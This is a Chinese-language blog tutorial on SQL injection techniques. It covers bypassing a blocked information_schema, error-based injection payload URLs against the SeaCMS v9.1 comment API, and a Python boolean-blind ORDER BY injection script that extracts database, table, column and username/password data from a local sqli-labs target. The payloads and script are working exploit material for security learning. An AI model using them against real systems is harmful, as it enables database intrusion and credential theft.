seasms v9 SQL注入漏洞

一、当注入时,information_schema被禁用的解决方法

        information_schema数据库是MySQL和其他一些数据库系统中存储元数据的标准视图,包含表、列、权限等信息。攻击时可以直接查询这些信息来获取数据库结构,比如表名和列名。当information_schema被禁用时需要寻找其他途径来获取必要的信息。
1.通过sys库可以获取到表名和库名

        在 Mysql 5.7 版本中新增了 sys.schema ,基础数据来自于 performance_schema和information_sche两个库中,其本身并不存储数据。

可以代替information_schema的表:

sys.schema_table_statistics:
提供了关于表的统计信息,包括表所在的数据库(table_schema)和表名(table_name)。
 
sys.schema_table_statistics_with_buffer:
提供基本的表统计信息外,还包含了InnoDB缓冲池的统计信息,同样有table_schema和table_name字段。
 
sys.schema_auto_increment_columns:
如果表中有自增ID列,这个视图会包含相关信息,可以用来间接推断出表的存在,但只限于有自增列的表。

2.通过无列名注入join获取列名

        由于join是将两张表的列名给加起来,所以有可能会产生相同的列名,而在使用别名时,是不允出现相同的列名的,因此当它们两个一起使用时,由于会出现多个相同的列名,那么他就会报错。就可以利用此特性进行sql注入查询列名。

select * from (select * from users as a join users b)c;

 当查询完第一个列名时,使用using排除,继续查询下一个列名。

select * from (select * from users as a join users as b using(id)) as c;以此类推

二、seasms v9 注入漏洞

漏洞文件:seacmsV9.1/upload/comment/api/index.php

 在代码中,$ids是通过$rlist数组收集的,而$rlist是在Readmlist和ReadReplyID函数中被填充的。在代码中,当处理评论回复时,会递归地收集相关的回复ID,存入$rlist数组中,然后生成$ids作为逗号分隔的字符串。在Readrlist函数中,$ids被直接拼接到SQL查询的IN子句中,而没有任何转义或参数化处理。因此我们可以通过报错注入和单引号绕过的方法实现注入。

通过报错注入出当前用户:http://127.0.0.1/seacmsV9.1/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20user()))),@`%27`
注入获取表:http://127.0.0.1/seacmsV9.1/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,concat_ws(0x5c,0x5c,(select%20table_name%20from%23%0ainformation_schema.tables%20where%20table_schema%20=0x736561636d73%20limit%200,1))),@`%27`
三、order by

sort前面是order by,通过sort传入的字段排序,可以通过用sort=if(表达式,列1,列2)的方式注入

可以通过二分查找加快注入速度

import requests
from lxml import html
 
 
def get_id_one(URl, paload):
    res = requests.get(url=URl, params=paload)
    tree = html.fromstring(res.content)
    id_one = tree.xpath('//table//tr[1]/td[1]/text()')[0].strip()
    return id_one
 
 
def get_database(URl):
    s = ""
    for i in range(1, 10):
        low = 32
        hight = 128
        mid = (low + hight) // 2
        while (hight > low):
            paload = { "sort": f"if((greatest(ascii(substr(database(),{i},1)),{mid})={mid}),id,username) -- "}
            id_one = get_id_one(URl, paload)
            if id_one == "1":
                hight = mid
                mid = (low + hight) // 2
            else:
                low = mid + 1
                mid = (low + hight) // 2
        s += chr(mid)
        print("数据库名:" + s)
 
 
def get_table(URl):
    s = ""
    for i in range(1, 32):
        low = 32
        hight = 128
        mid = (low + hight) // 2
        while (hight > low):
            paload = {
                "sort": f"if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\"security\"),{i},1))>{mid}),id,username) -- "}
            id_one = get_id_one(URl, paload)
            if id_one == "1":
                low = mid + 1
                mid = (low + hight) // 2
            else:
                hight = mid
                mid = (low + hight) // 2
        s += chr(mid)
        print("表:" + s)
 
 
def get_column(URl):
    s = ""
    for i in range(1, 32):
        low = 32
        hight = 128
        mid = (low + hight) // 2
        while (hight > low):
            paload = {
                "sort": f"if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=\"security\" and table_name=\"users\"),{i},1))>{mid}),id,username) -- "}
            id_one = get_id_one(URl, paload)
            if id_one == "1":
                low = mid + 1
                mid = (low + hight) // 2
            else:
                hight = mid
                mid = (low + hight) // 2
        s += chr(mid)
        print("列:" + s)
 
 
def get_result(URl):
    s = ""
    for i in range(1, 32):
        low = 32
        hight = 128
        mid = (low + hight) // 2
        while (hight > low):
            paload = {
                "sort": f"if((ascii(substr((select group_concat(username,0x3e,password) from users),{i},1))>{mid}),id,username) -- "}
            id_one = get_id_one(URl, paload)
            if id_one == "1":
                low = mid + 1
                mid = (low + hight) // 2
            else:
                hight = mid
                mid = (low + hight) // 2
        s += chr(mid)
        print("用户名和密码信息:" + s)
 
 
if __name__ == '__main__':
    URl = "http://127.0.0.1/sqlilabs/less-46/index.php"
    get_database(URl)
    get_table(URl)
    get_column(URl)
    get_result(URl)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值